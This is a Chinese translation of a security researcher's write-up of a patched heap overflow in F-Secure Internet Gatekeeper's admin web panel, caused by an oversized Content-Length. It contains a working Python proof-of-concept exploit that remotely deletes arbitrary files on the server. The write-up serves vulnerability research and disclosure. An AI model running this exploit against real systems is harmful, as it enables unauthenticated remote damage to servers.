這篇文章我會分析在F-Secure Internet Gatekeeper程序中發(fā)現的漏洞,通過一個簡單的bug如何導致可利用的未經身份驗證的遠程代碼執(zhí)行漏洞。
[[344263]]
0x01 環(huán)境配置
所有測試應在具有至少1個處理器和4GB RAM 的CentOS虛擬機中可重復進行。
需要安裝F-Secure Internet Gatekeeper,可以從https://www.f-secure.com/en/business/downloads/internet-gatekeeper下載。但是據我們所知,供應商不再提供粗存在漏洞的版本。
受影響的程序包具有以下SHA256哈希值:
1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26。
繼續(xù)安裝:
1. 如果使用的是x64版本的CentOS,請執(zhí)行 yum install glibc.i686;
2. 使用以下命令安裝Internet Gatekeeper文件: rpm -I < fsigkbin >.rpm;
3. 為獲得更好的調試體驗,安裝gdb 8+和https://github.com/hugsy/gef。
現在可以使用GHIDRA / IDA反編譯器開始逆向Internet Gatekeeperl了!
0x02 漏洞分析
如F-Secure所述,Internet Gatekeeper是“在網關級別針對企業(yè)網絡的高效且易于管理的保護解決方案”。
F-Secure Internet Gatekeeper包含一個在端口9012 / tcp上運行的管理面板。這可用于控制產品中所有可用的服務和規(guī)則(HTTP代理,IMAP代理等)。這個管理面板由fsikgwebui二進制文件通過HTTP服務,該二進制文件是用C編寫的。實際上,整個Web服務器都是用C / C ++編寫的。有一些關于civetweb的參考,這表明可能正在使用定制版本的CivetWeb。
它是用C / C ++編寫的事實使我們走上了尋找通常在該語言中常見的內存破壞漏洞的道路。
很快,就可以通過使用Fuzzotron對管理面板進行模糊處理來發(fā)現本篇文章中描述的問題,而Fuzzotron使用Radamsa作為底層引擎。fuzzotron內置的TCP支持可輕松模糊測試網絡服務。對于種子,我們提取了一個有效的POST請求,該請求用于更改管理面板上的語言。該請求可以由未經身份驗證的用戶執(zhí)行,因此非常適合作為模糊測試的種子。
分析突變的輸入時,通過radamsa我們可以很快看到漏洞的根本原因是Content-length標題。導致軟件崩潰的生成的測試具有以下標頭值:Content-Length: 21487483844,這表明是由于不正確的整數導致溢出的。
通過在gdb測試運行后,我們發(fā)現導致崩潰的代碼位于fs_httpd_civetweb_callback_begin_request函數中。此方法負責處理傳入的連接,并將它們分配給相關的函數,具體取決于所使用的HTTP,路徑或cookie。
為了演示該問題,我們將向運行管理面板的POST端口9012發(fā)送請求,我們設置了很大的Content-Length標題值。
- POST /submit HTTP/1.1
- Host: 192.168.0.24:9012
- Content-Length: 21487483844
-
- AAAAAAAAAAAAAAAAAAAAAAAAAAA
該應用程序將解析該請求并執(zhí)行該fs_httpd_get_header函數以檢索內容長度,稍后,內容長度將傳遞給函數strtoul(String To Unsigned Long)
以下偽代碼提供了控制流的摘要:
- content_len = fs_httpd_get_header(header_struct, "Content-Length");
- if ( content_len ){
- content_len_new = strtoul(content_len_old, 0, 10);
- }
strtoul通過閱讀相應的man頁面,可以了解函數中發(fā)生了什么。返回值 strtoul是一個無符號的long int,它可能具有最大值2^32-1(在32位系統(tǒng)上)。
- The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).
由于我們提供的數據Content-Length對于無符號long int而言太大,因此strtoul將返回對應0xFFFFFFFF于32位系統(tǒng)的ULONG_MAX值。
到目前為止,一切都很好,當fs_httpd_civetweb_callback_begin_request函數嘗試發(fā)出malloc請求以為我們的數據騰出空間時,它首先將1加到content_length變量中,然后調用malloc。
可以在下面的偽代碼中看到:
- // fs_malloc == malloc
- data_by_post_on_heap = fs_malloc(content_len_new + 1)
這會導致問題,因為該值0xFFFFFFFF + 1將導致整數溢出,結果為0x00000000,因此,malloc調用將分配0字節(jié)的內存。
Malloc確實允許使用0字節(jié)參數進行調用,當malloc(0)為有效的指針的堆空間將被返回,指向一個分配的0×10字節(jié)的最小塊大小,細節(jié)也可以在手冊頁中閱讀:
- The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
如果我們進一步瀏覽Internet Gatekeeper代碼,可以看到對mg_read的調用。
- // content_len_new is without the addition of 0x1.
- // so content_len_new == 0xFFFFFFFF
- if(content_len_new){
- int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
- }
在溢出期間,此代碼將任意數量的數據讀取到堆上,沒有任何限制。對于漏洞利用而言,這是一個很好的原語,因為我們可以停止將字節(jié)寫入HTTP流,并且軟件將關閉連接,在這種情況下,我們可以完全控制要寫入的字節(jié)數。
總而言之,我們可以利用Malloc大小為0x10的塊以及任意數據的溢出來覆蓋現有的內存結構,以下PoC證明了這一點。盡管非常原始,但它通過將標志翻轉到來利用堆上的現有結構should_delete_file = true,然后使用要刪除的文件的完整路徑對堆進行噴射。Internet Gatekeeper內部處理程序具有一種decontruct_http用于查找此標志并刪除文件的方法。通過利用此漏洞,攻擊者可以獲得任意文件刪除,足以證明漏洞的嚴重性。
- from pwn import *
- import time
- import sys
-
-
-
- def send_payload(payload, content_len=21487483844, nofun=False):
- r = remote(sys.argv[1], 9012)
- r.send("POST / HTTP/1.1\n")
- r.send("Host: 192.168.0.122:9012\n")
- r.send("Content-Length: {}\n".format(content_len))
- r.send("\n")
- r.send(payload)
- if not nofun:
- r.send("\n\n")
- return r
-
-
- def trigger_exploit():
- print "Triggering exploit"
- payload = ""
- payload += "A" * 12 # Padding
- payload += p32(0x1d) # Fast bin chunk overwrite
- payload += "A"* 488 # Padding
- payload += p32(0xdda00771) # Address of payload
- payload += p32(0xdda00771+4) # Junk
- r = send_payload(payload)
-
-
-
- def massage_heap(filename):
- print "Trying to massage the heap....."
- for x in xrange(100):
- payload = ""
- payload += p32(0x0) # Needed to bypass checks
- payload += p32(0x0) # Needed to bypass checks
- payload += p32(0xdda0077d) # Points to where the filename will be in memory
- payload += filename + "\x00"
- payload += "C"*(0x300-len(payload))
- r = send_payload(payload, content_len=0x80000, nofun=True)
- r.close()
- cut_conn = True
- print "Heap massage done"
-
-
- if __name__ == "__main__":
- if len(sys.argv) != 3:
- print "Usage: ./{} ".format(sys.argv[0])
- print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
- exit()
- massage_heap(sys.argv[2])
- time.sleep(1)
- trigger_exploit()
- print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])
當前的漏洞利用可靠性大約占總嘗試次數的60-70%,我們的漏洞利用PoC依賴于前提條件中列出的特定主機版本。
可以進行RCE,因為我們可以控制確切的塊大小,并覆蓋想要的塊上盡可能多的數據。此外,該應用程序使用多個線程,可以利用這些線程進入干凈的堆區(qū)域并嘗試多次利用。
此漏洞已在F-Secure Internet Gatekeeper版本5.40 – 5.50修補程序8(2019-07-11)中修復。
0x03 學習堆利用資源
利用
· Linux Heap Exploitation Intro Series: Set you free() – part 1
· Linux Heap Exploitation Intro Series: Set you free() – part 2
GLibC
· GLibC Malloc for Exploiters - YouTube
· Understanding the GLibC Implementation - Part 1
· Understanding the GLibC Implementation - Part 2
工具
· GEF -GDB的附件,此外,它還有一些有用的命令,可進行堆漏洞利用調試
· Villoc -在HTML中圖形化顯示堆
本文翻譯自:https://blog.doyensec.com/2020/02/03/heap-exploit.html如若轉載,請注明原文地址: